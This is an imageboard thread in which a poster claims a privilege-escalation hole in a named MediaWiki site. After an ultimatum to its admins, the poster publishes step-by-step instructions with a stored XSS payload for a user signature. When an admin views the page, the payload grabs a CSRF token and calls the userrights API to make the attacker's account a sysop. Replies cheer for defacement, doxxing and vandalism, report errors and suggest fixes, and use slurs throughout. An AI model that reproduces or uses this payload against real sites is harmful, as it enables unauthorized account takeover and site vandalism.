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SLF 02/27/26 (Fri) 03:41:57 №15334273 [Last 50 Posts][1][2][Quote]

The 'ki has a vulnerability that would let me make myself an admin like 'stone.
Should I:
A. Tell them.
or
B. Do something funny.
>Meme arrow

Chud 02/27/26 (Fri) 03:42:18 №15334275 [Quote]

dont do anything

Chud 02/27/26 (Fri) 03:42:19 №15334276 [Quote]

ban and dox stone

Chud 02/27/26 (Fri) 03:42:21 №15334277 [Quote]

Bluffing

Bug 02/27/26 (Fri) 03:42:23 №15334279 [Quote]

CAPTAAAAAAAAIN. GO AHEAD.

Chud 02/27/26 (Fri) 03:42:34 №15334280 [Quote]

>>15334277
geg tsmt its fake

Chud 02/27/26 (Fri) 03:42:37 №15334281 [Quote]

total cobblecuck death

Vlodson 02/27/26 (Fri) 03:42:48 №15334282 [Quote]

CAPTAINISM NOW

Massjak 02/27/26 (Fri) 03:42:52 №15334283 [Quote]

DO SOMETHING FUNNY NAOOOOOOOOW AND MAKE MY IP AN ADMIN PLEASE

Parrotjak 02/27/26 (Fri) 03:43:12 №15334284 [Quote]

plz readd gradings

Chud 02/27/26 (Fri) 03:43:17 №15334286 [Quote]

unban literalwhos and demote random jannies

Chud 02/27/26 (Fri) 03:43:24 №15334287 [Quote]

>>15334273 (OP)
Captain iron incoming

Chud 02/27/26 (Fri) 03:43:30 №15334289 [Quote]

TOTAL GRADING LIFE, TOTAL THOT DEATH

Chud 02/27/26 (Fri) 03:43:49 №15334292 [Quote]

WE NEED CAPTAIN IRON

Chud 02/27/26 (Fri) 03:43:55 №15334293 [Quote]

bring my fucking minerals back cobbleshit
>edit wars and neutrality
make controversial pages neutral, other than that the ki has to be biased

Soyelf 02/27/26 (Fri) 03:44:51 №15334297 [Quote]

>>15334273 (OP)
use your powers for good and fix some 'tarded pages, then tell the jannies like a good little chuddy

Chud 02/27/26 (Fri) 03:44:52 №15334298 [Quote]

the 'ki should have always been biased

Chud 02/27/26 (Fri) 03:44:54 №15334299 [Quote]

go ahead and do it, and prove it to us once you're done

Chud 02/27/26 (Fri) 03:44:58 №15334301 [Quote]

become admin and fix this shit site

Chud 02/27/26 (Fri) 03:45:20 №15334304 [Quote]

>>15334297
dont do dis captain iron

Nulljak 02/27/26 (Fri) 03:46:39 №15334313 [Quote]

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Delete the Cobson wiki page if true

Chud 02/27/26 (Fri) 03:47:21 №15334319 [Quote]

add me to the 'ki

PPP 02/27/26 (Fri) 03:47:40 №15334322 [Quote]

>>15334297
do dis

Schwab 02/27/26 (Fri) 03:49:38 №15334337 [Quote]

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>making 'ki pages of literalwhos to make nusois think you're an admin

Chud 02/27/26 (Fri) 04:16:34 №15334477 [Quote]

idek what i would do with admin rights tbh i guess i would change the front page o algo

Chud 02/27/26 (Fri) 04:17:33 №15334481 [Quote]

>>15334273 (OP)
Turn everything into hunky please

Chud 02/27/26 (Fri) 04:18:18 №15334483 [Quote]

make the front page a 'cado screamer

Chud 02/27/26 (Fri) 04:24:45 №15334499 [Quote]

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The admins didnt respond to me when I tried to point it out earlier so Ill give them an ultimatum. If any admin whether here or from the 'ki responds to this post in the next 20 minutes Ill tell xem what it is and xey may fix it.
If not I will use the exploit and alter the front page with instructions on how to fix it and then delete my temporary account afterwards.

You may call me Captain Moralfag

Bobo 02/27/26 (Fri) 04:25:43 №15334503 [Quote]

>>15334499
can you put a new header in the overhead to tell its you?

Babyjak 02/27/26 (Fri) 04:26:21 №15334504 [Quote]

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Chud 02/27/26 (Fri) 04:26:34 №15334505 [Quote]

>>15334499
just do it naow

Chud 02/27/26 (Fri) 04:28:14 №15334508 [Quote]

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And if this thread is deleted Ill post instructions on how everyone can do it out of spite

Chud 02/27/26 (Fri) 04:28:43 №15334511 [Quote]

>>15334499
Lame

Mexiaryan 02/27/26 (Fri) 04:29:32 №15334512 [Quote]

>>15334508
Moooooods delete dis thread nowwww

Chud 02/27/26 (Fri) 04:30:07 №15334516 [Quote]

>>15334499
you should pin a snca variant to the front

Plier 02/27/26 (Fri) 04:30:48 №15334518 [Quote]

>>15334273 (OP)
Don't care

Chud 02/27/26 (Fri) 04:30:49 №15334519 [Quote]

>>15334273 (OP)
Restore Gemthon page if aryan

Babyjak 02/27/26 (Fri) 04:31:25 №15334520 [Quote]

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14 minutes

Chud 02/27/26 (Fri) 04:34:10 №15334522 [Quote]

oyyyyyyyyyy myyyyyyyyyyy godddddddd if youre going to captain the 'ki do soemthing gemmy, they'll perma you anyway

Ishish 02/27/26 (Fri) 04:35:05 №15334526 [Quote]

how did yoi find the vulnerability

Hornyson 02/27/26 (Fri) 04:35:24 №15334527 [Quote]

>>15334499
if they dont respond then you should do more than just that. fuck with a few pages

Chud 02/27/26 (Fri) 04:35:54 №15334529 [Quote]

>warning the jannies in advance so when you do anything you'll be banned within 10 seconds

Gapejak 02/27/26 (Fri) 04:36:06 №15334530 [Quote]

>>15334527
Admins can restore deleted pages and files tho

Chud 02/27/26 (Fri) 04:36:35 №15334531 [Quote]

>>15334499
faggot at least do something funny like changing every image to htsm

Etan 02/27/26 (Fri) 04:36:47 №15334532 [Quote]

>>15334530
or tell us how to do it as well. either way it'll be cleaned up quickly but dont make it boring

Chud 02/27/26 (Fri) 04:37:10 №15334533 [Quote]

fuck you and this shit thread it's always someone saying they'll do something and everyone believes the phono with no good reason to kys SUPERSAGE!

Fishjak 02/27/26 (Fri) 04:37:15 №15334534 [Quote]

OP baited everilione

Soyelf 02/27/26 (Fri) 04:37:30 №15334535 [Quote]

>>15334533
Why would people lie on the sharty?

Soytan 02/27/26 (Fri) 04:38:10 №15334536 [Quote]

>>15334535
hmm I hadn't thought of it that way yet, xhe's right you know

Chud 02/27/26 (Fri) 04:38:49 №15334538 [Quote]

56 minutes has passed wakey wakey op

Lennonjak 02/27/26 (Fri) 04:39:26 №15334541 [Quote]

OP is a liar

Npestajak 02/27/26 (Fri) 04:39:45 №15334542 [Quote]

HOLY SHIT CHECK THE 'KI

Platejak 02/27/26 (Fri) 04:40:11 №15334544 [Quote]

JANNIES BAN OP FOR LYING WHICH IS THE BEHAVIOUR COMMONLY ASSOCIATED WITH PEDOPHILES

Chud 02/27/26 (Fri) 04:40:36 №15334545 [Quote]

lying is literally a common trait of pedophiles KYS

Nathaniel 02/27/26 (Fri) 04:41:21 №15334547 [Quote]

>>15334545
this

Chud 02/27/26 (Fri) 04:42:05 №15334549 [Quote]

>>15334542
this baited me

Chud 02/27/26 (Fri) 04:42:22 №15334552 [Quote]

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Jannies have 4 minutes. I may just post the instructions on how to do it rather than doing it myself.

PPP 02/27/26 (Fri) 04:43:26 №15334555 [Quote]

>>15334552
do something funny you slf

Chud 02/27/26 (Fri) 04:44:35 №15334560 [Quote]

>>15334555
I think Im just gonna post instructions

Chud 02/27/26 (Fri) 04:44:44 №15334561 [Quote]

https://soyjakwiki.org/Captain_Cob
this is what captains who do nothing are remembered as btw

Snopes 02/27/26 (Fri) 04:45:33 №15334565 [Quote]

change every image to babyjak

Chud 02/27/26 (Fri) 04:45:34 №15334566 [Quote]

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Captain Selfish here. Im just going to post instructions because Im lazy.

HOW TO BECOME AN ADMIN ON SOYJAKWIKI.ORG:
1. Make an account
2. Tick that little box under "signature"
3. Past something like this into the signature box (make sure to add your account name and remove the meme arrow):
>{{PLURAL:1| <img src=x onerror="fetch('/api.php?action=query&meta=tokens&type=csrf&format=json').then(r=>r.json()).then(d=>fetch('/api.php?action=userrights&user=YOURACCOUNTNAMEGOESHERENUSOIS&add=sysop&token='+d.query.tokens.csrftoken,{method:'POST'}))"> }} //SAAAAAAAAAARS YOU ARE OF NEEDING TO UPDATE YOUR MEDIAWIKI
4. Edit any page on the Wiki, sign with "~" and wait for an admin to view it
5. The Javascript should auto-execute and elevate your account to admin status
6. Login into your account again or refresh your page
7. You should now be an admin

Why does this work?

SIMPLE EXPLANATION (Warning: Its simple!):
'Stone needs to update to a newer version of Mediawiki. The version hes on should have patched this, but its possibly still exploitable because of that little tickable box option under signature. I actually havent tried it, but you guys can!
And if you know Javascript feel free to fix my sloppy code

Chud 02/27/26 (Fri) 04:46:21 №15334567 [Quote]

inb4 they just shit ti down

Fisheyejak 02/27/26 (Fri) 04:46:35 №15334569 [Quote]

That thing in quotes is 4 of these ~ btw

Nojak 02/27/26 (Fri) 04:46:41 №15334570 [Quote]

>>15334566
OH MY GODDDDDDDDDDD CHIVE NOW THIS IS GEGGY and oreos

Chud 02/27/26 (Fri) 04:47:54 №15334573 [Quote]

c'mon soycacas do something

Jager 02/27/26 (Fri) 04:49:15 №15334578 [Quote]

>>15334573
I have made it so that all 'teens can join in the fun, which is probably funnier than just fucking with the site myself

Chud 02/27/26 (Fri) 04:50:29 №15334582 [Quote]

>>15334578
soyshits wont do anything btw

Chud 02/27/26 (Fri) 04:50:50 №15334584 [Quote]

>>15334566
Don’t do this, it downloads ‘p onto your device

Chud 02/27/26 (Fri) 04:50:58 №15334585 [Quote]

>>15334582
if true then it was never even worth it to begin with

Pepe 02/27/26 (Fri) 04:51:17 №15334587 [Quote]

>Invalid raw signature. Check HTML tags.

Darkiplier 02/27/26 (Fri) 04:51:27 №15334588 [Quote]

undo the grading caust

Smugjak 02/27/26 (Fri) 04:52:30 №15334592 [Quote]

>>15334273 (OP)
Both

Chad 02/27/26 (Fri) 04:52:39 №15334593 [Quote]

>>15334585
well i mean you pasted instructions for everybaldi to see, phonos will just get some variation of rule 9

Chud 02/27/26 (Fri) 04:52:52 №15334594 [Quote]

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OP mkae me amin mi usr s strt wt caca

Chud 02/27/26 (Fri) 04:54:05 №15334595 [Quote]

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it doesnt work

Npestajak 02/27/26 (Fri) 04:54:29 №15334596 [Quote]

>>15334565
You forgot about pending review. Joonjoons will just ban any nu account if they see that xeir first edit was signature ~~~~

Chud 02/27/26 (Fri) 04:54:56 №15334599 [Quote]

>>15334595
The cabal it’s on its way to your house Nusoi

Chud 02/27/26 (Fri) 04:55:18 №15334601 [Quote]

fake and gay you are a janny honeypot

Chud 02/27/26 (Fri) 04:55:21 №15334602 [Quote]

>>15334599
im scared

Norwegian 02/27/26 (Fri) 04:56:26 №15334609 [Quote]

>>15334595
have you tried troubleshooting

Plier 02/27/26 (Fri) 04:56:28 №15334610 [Quote]

>>15334595
Replace "x" with an URL of an image

Lennonjak 02/27/26 (Fri) 04:56:32 №15334611 [Quote]

>>15334566
Do it for yourself if it works nigour

Chugsjak 02/27/26 (Fri) 04:58:15 №15334617 [Quote]

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>>15334610
i forgot to tell people to do that
i dont usualyl write cacascript

Chud 02/27/26 (Fri) 04:59:58 №15334624 [Quote]

>Your signature is too long. It must not be more than 255 characters long.
It's over

Chud 02/27/26 (Fri) 05:00:35 №15334625 [Quote]

>>15334624
Is the image url too long?

Nulljak 02/27/26 (Fri) 05:00:51 №15334627 [Quote]

>>15334625
yep

Chud 02/27/26 (Fri) 05:01:01 №15334629 [Quote]

Ok

Chudbob 02/27/26 (Fri) 05:01:51 №15334630 [Quote]

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You may call me Captain Fail and forget about me forever
Back to writing in a language for White people

Chud 02/27/26 (Fri) 05:02:04 №15334631 [Quote]

>Invalid raw signature. Check HTML tags.
this shit doesnt work KEEEEEEEEEEEEEEEEEEEK

Henry 02/27/26 (Fri) 05:03:32 №15334634 [Quote]

>>15334630
Ok or something

Chud 02/27/26 (Fri) 05:05:57 №15334644 [Quote]

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If some Javascrip'teen knows how to make this work feel free to DIY it but I honestly care less than nophono and do not feel like learning the syntax.

Captain Whateverdefugorsomethingoalgo out

Chud 02/27/26 (Fri) 05:06:35 №15334648 [Quote]

>>15334644
This meaning the exploit should still work in theory I just fucked up the Js part

Chud 02/27/26 (Fri) 05:07:48 №15334655 [Quote]

>>15334648
you seem like a pay dough now because i said so so im going to ban you neutral